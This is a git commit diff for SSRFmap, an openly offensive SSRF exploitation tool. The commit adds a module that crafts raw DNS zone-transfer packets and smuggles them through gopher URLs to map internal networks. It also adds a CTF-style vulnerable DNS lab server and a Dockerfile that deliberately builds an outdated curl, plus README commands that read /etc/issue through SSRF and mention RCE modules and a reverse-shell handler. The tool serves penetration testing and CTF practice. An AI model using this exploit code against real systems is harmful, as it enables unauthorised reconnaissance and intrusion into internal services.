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SSRFmap
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AXFR module - DNS Zone Transfer

pull/53/head
Swissky 2024-06-10 14:56:13 +02:00
parent 4e92e88913
commit d431d336bf
7 changed files with 184 additions and 23 deletions
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8
Dockerfile
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@ -3,7 +3,13 @@ FROM python:3.12.4-alpine
WORKDIR /usr/src/app
COPY . /usr/src/app
RUN apk update && apk add curl
RUN apk update
# Install curl with outdated libcurl
RUN apk add --update build-base cmake c-ares-dev
RUN cp examples/curl-7.71.0.tar.gz /tmp
RUN tar -xvf /tmp/curl-7.71.0.tar.gz -C /tmp/
RUN cd /tmp/curl-7.71.0 && ./configure --enable-ares && make && make install
# Install requirements
RUN pip install -r requirements.txt

16
README.md
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@ -20,7 +20,8 @@ SSRF are often used to leverage actions on other services, this framework aims t
The following modules are already implemented and can be used with the `-m` argument.
| Name | Description |
| :------------- | :------------- |
| :------------- | :------------------------------------------------------- |
| `axfr` | DNS zone transfers (AXFR) |
| `fastcgi` | FastCGI RCE |
| `redis` | Redis RCE |
| `github` | Github Enterprise RCE < 2.8.7 |
@ -63,8 +64,8 @@ The following modules are already implemented and can be used with the `-m` argu
-m MODULES SSRF Modules to enable
-l HANDLER Start an handler for a reverse shell
-v [VERBOSE] Enable verbosity
--lhost LHOST LHOST reverse shell
--lport LPORT LPORT reverse shell
--lhost LHOST LHOST reverse shell or IP to target in the network
--lport LPORT LPORT reverse shell or port to target in the network
--uagent USERAGENT User Agent to use
--ssl [SSL] Use HTTPS without verification
--proxy PROXY Use HTTP(s) proxy (ex: http://localhost:8080)
@ -150,7 +151,14 @@ A quick way to test the framework can be done with `data/example.py` SSRF servic
* Docker
```ps1
docker build --no-cache -t ssrfmap .
# run example ssrf http service
docker run -it -v $(pwd):/usr/src/app --name example ssrfmap examples/example.py
# run example ssrf dns service
docker exec -u root:root -it example python examples/ssrf_dns.py
# run ssrfmap tool
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
```
@ -163,6 +171,8 @@ docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m rea
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab
```

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50
examples/ssrf_dns.py Normal file
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@ -0,0 +1,50 @@
# NOTE example script heavily inspired from FCSC CTF 2024
# use this example to test the AXFR module
# dig @127.0.0.1 -p 53 example.lab AXFR
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, RCODE, A
from dns import resolver
import threading
DOMAINS = {
"frontend.example.lab.": "10.10.10.10",
"backend.example.lab.": "10.10.10.11",
"secret_flag.example.lab.": "10.10.10.12",
"test.example.lab.": "10.10.10.12"
}
class LocalDNS(BaseResolver):
def resolve(self, request, handler):
reply = request.reply()
q = request.q
print('', flush=True)
if q.qtype == QTYPE.A and str(q.qname) in DOMAINS:
reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(DOMAINS[str(q.qname)])))
elif q.qtype == QTYPE.A:
default_resolver = resolver.Resolver()
try:
answers = default_resolver.resolve(str(q.qname), "A")
for answer in answers:
reply.add_answer(RR(q.qname, QTYPE.A, rdata=A(answer.address)))
except:
reply.header.rcode = RCODE.NXDOMAIN
elif q.qtype == QTYPE.AXFR and str(q.qname) == "example.lab.":
for domain, ip in DOMAINS.items():
reply.add_answer(RR(domain, QTYPE.A, rdata=A(ip)))
else:
reply.header.rcode = RCODE.NXDOMAIN
return reply
def run_server(protocol):
print(f"Server is running - {protocol}")
resolver = LocalDNS()
server = DNSServer(resolver, address="0.0.0.0", port=53, tcp=(protocol == "TCP"))
server.start()
if __name__ == "__main__":
threading.Thread(target=run_server, args=("TCP",)).start()
threading.Thread(target=run_server, args=("UDP",)).start()

91
modules/axfr.py Normal file
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@ -0,0 +1,91 @@
from core.utils import wrapper_gopher, gen_ip_list
from urllib.parse import quote
import logging
import binascii
name = "axfr"
description = "AXFR DNS"
author = "Swissky"
documentation = [
"https://vozec.fr/writeups/pong-fcsc2024-en/",
"https://mizu.re/post/pong",
"https://gist.github.com/Siss3l/32591a6d6f33f78bb300bfef241de262"
]
class exploit():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "53"
SERVER_DOMAIN = "example.lab"
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
# Handle args for custom DNS target
if args.lhost is not None:
self.SERVER_HOST = args.lhost
if args.lport is not None:
self.SERVER_PORT = args.lport
if args.ldomain is not None:
self.SERVER_DOMAIN = args.ldomain
# Using a generator to create the host list
gen_host = gen_ip_list(self.SERVER_HOST, args.level)
for ip in gen_host:
domain,tld = self.SERVER_DOMAIN.split('.')
# DNS AXFR - TCP packet format
dns_request = b"\x01\x03\x03\x07" # BITMAP
dns_request += b"\x00\x01" # QCOUNT
dns_request += b"\x00\x00" # ANCOUNT
dns_request += b"\x00\x00" # NSCOUNT
dns_request += b"\x00\x00" # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode() # DOMAIN
dns_request += len(tld).to_bytes() # LEN TLD
dns_request += tld.encode() # TLD
dns_request += b"\x00" # DNAME EOF
dns_request += b"\x00\xFC" # QTYPE AXFR (252)
dns_request += b"\x00\x01" # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
payload = wrapper_gopher(quote(dns_request), ip , self.SERVER_PORT)
# Send the payload
r = requester.do_request(args.param, payload)
self.parse_output(r.text)
def parse_output(self, data):
# removing header part
lheader = len(b"\x00" + b"\x6a" + b"\x01\x03" + b"\xef\xbf\xbd" + b"\xef\xbf\xbd" + b"\x00")
lother = len(b"\x01\x00" + b"\x03" + b"\x00\x00\x00\x00")
hex_output = binascii.hexlify(data.encode())
hex_output = hex_output[(lheader+lother)*2:]
data = binascii.unhexlify(hex_output)
# extracting size
domain_size = data[0]
domain = data[1:domain_size+1]
logging.debug(f"DOMAIN: {domain_size}, {domain.decode()}")
tld_size = data[domain_size+1]
tld = data[domain_size+2:domain_size+2+tld_size]
logging.debug(f"TLD: {tld_size}, {tld.decode()}")
# subdomains
subdata = data[domain_size+2+tld_size:]
subdata_arr = subdata.decode().split("<EFBFBD>")
for sub in subdata_arr:
printable = self.bytes_to_printable_string(sub.encode())
if printable != '':
logging.info(f"\033[32mSubdomain found\033[0m : {printable}")
def bytes_to_printable_string(self, byte_string):
# Filter out non-printable characters and decode the byte string
printable_chars = (chr(byte) for byte in byte_string if chr(byte).isprintable())
# Concatenate the printable characters into a single string
printable_string = ''.join(printable_chars)
return printable_string

3
requirements.txt
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@ -1,2 +1,5 @@
Flask==3.0.3
requests==2.31.0
dnslib==0.9.24
dnspython==2.6.1
tldextract==5.1.2

5
ssrfmap.py
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@ -28,8 +28,9 @@ def parse_args():
parser.add_argument('-m', action ='store', dest='modules', help="SSRF Modules to enable")
parser.add_argument('-l', action ='store', dest='handler', help="Start an handler for a reverse shell", nargs='?', const='1')
parser.add_argument('-v', action ='store_true', dest='verbose', help="Enable verbosity")
parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell")
parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell")
parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell or IP to target in the network")
parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell or port to target in the network")
parser.add_argument('--ldomain', action ='store', dest='ldomain', help="Domain to target for AXFR query or domain related modules")
parser.add_argument('--rfiles', action ='store', dest='targetfiles', help="Files to read with readfiles module", nargs='?', const=True)
parser.add_argument('--uagent',action ='store', dest='useragent', help="User Agent to use")
parser.add_argument('--ssl', action ='store', dest='ssl', help="Use HTTPS without verification", nargs='?', const=True)